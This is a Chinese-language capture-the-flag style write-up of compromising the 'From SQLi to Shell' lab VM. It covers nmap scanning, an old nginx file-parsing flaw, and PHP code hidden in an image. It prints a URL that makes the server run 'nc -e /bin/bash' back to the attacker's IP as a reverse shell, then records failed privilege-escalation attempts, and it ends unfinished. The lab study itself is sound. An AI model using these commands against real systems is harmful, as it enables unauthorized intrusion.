一、主机发现
sudo nmap -sn 192.168.62.0/24
发现新增IP:192.168.62.141 。
二、getshell
1、端口扫描
①tcp端口扫描
# Nmap 7.93 scan initiated Thu Apr 13 23:25:37 2023 as: nmap --min-rate 10000 -p- -oA tcp_open_port 192.168.62.141
Nmap scan report for 192.168.62.141
Host is up (0.00051s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:08:94:3A (VMware)
# Nmap done at Thu Apr 13 23:26:17 2023 -- 1 IP address (1 host up) scanned in 40.08 seconds
可以看到只有80端口是开放的。
②udp端口扫描
# Nmap 7.93 scan initiated Thu Apr 13 23:25:58 2023 as: nmap -sU --min-rate 10000 -p- -oA udp_open_port 192.168.62.141
Warning: 192.168.62.141 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.62.141
Host is up (0.00058s latency).
All 65535 scanned ports on 192.168.62.141 are in ignored states.
Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
MAC Address: 00:0C:29:08:94:3A (VMware)
# Nmap done at Thu Apr 13 23:27:23 2023 -- 1 IP address (1 host up) scanned in 85.63 seconds
初步判断udp未有开放的端口,但是因为udp是不可靠连接,所以仅仅可以初步下判断,如果往后没有进攻向量,需要回来继续探测udp端口开放情况。
2、端口服务详细情况扫描
①服务类型,服务版本,操作系统探测
# Nmap 7.93 scan initiated Thu Apr 13 23:27:22 2023 as: nmap -sT -sV -O -p80 -oA open_port_service 192.168.62.141
Nmap scan report for 192.168.62.141
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 0.7.67
MAC Address: 00:0C:29:08:94:3A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 13 23:27:44 2023 -- 1 IP address (1 host up) scanned in 22.34 seconds
可以看到80端口跑的是nginx服务,版本0.7.67 ,操作系统是Linux,内核版本也探测出来为 2.6.32版本。
②nmap漏洞脚本扫描
sudo nmap --script=vuln -p80 192.168.62.141
3、查看80端口情况
①到处点点看看,发现有三张图片
二话不说先全部下载到kali上,然后用exiftool查看是否有隐写,发现hacker.png有php的大码:
然后记得早期的nginx是有文件解析漏洞的,详细情况请自己搜索, kali进行监听sudo nc -lvp 9999,然后构建url
http://192.168.62.141/admin/uploads/hacker.png/x.php?c=nc%20-e%20/bin/bash%20192.168.62.129%209999
在浏览器执行,发现kali已经接收到反弹shell。
吐槽
下载这台靶机的时候我也以为是通过sql注入getshell的,但是我执行固定流程:主机发现,端口扫描,获取图片,看到图片隐写,getshell只花了不到五分钟的时间。但是因为这台靶机制作时间很早且并未在机器上安装有python,所以交互性极差。
在提权的过程中找到了连接数据库的用户名和密码:
想着提权信息是不是在数据库中,想要进入数据库,由于交互性极差,只能凭借经验输入mysql -u pentesterlab -p 后输入密码,但是压根就进不去
然后不死心,继续查找可以提权的信息,然后发现mysql的root信息
但还是无法进入数据库,想着这两个密码会不会是某个用户的ssh密码,想要使用hydra进行爆破,想起使用nmap扫描端口开放情况的时候只有80端口是开放的,所以手工su - user吧。结果还是不行
这时候还不死心,想着靶机名字提示的很明显,从web页面sql注入看能不能得到数据库的全部信息吧,然后兴致匆匆的想要进行sql注入,一把操作下来啥注入点也没发现
以为是自己太菜了,得,去看一下别人的攻略(19条消息) from_sqli_to_shell靶机初体验_from sqli to shell_Leon.Luo的博客-CSDN博客
直接复制sql注入语句
啥变化也没有。。。
最后想到这个机器这么老,直接内核提权吧
,44304.c不成功。
未完待续。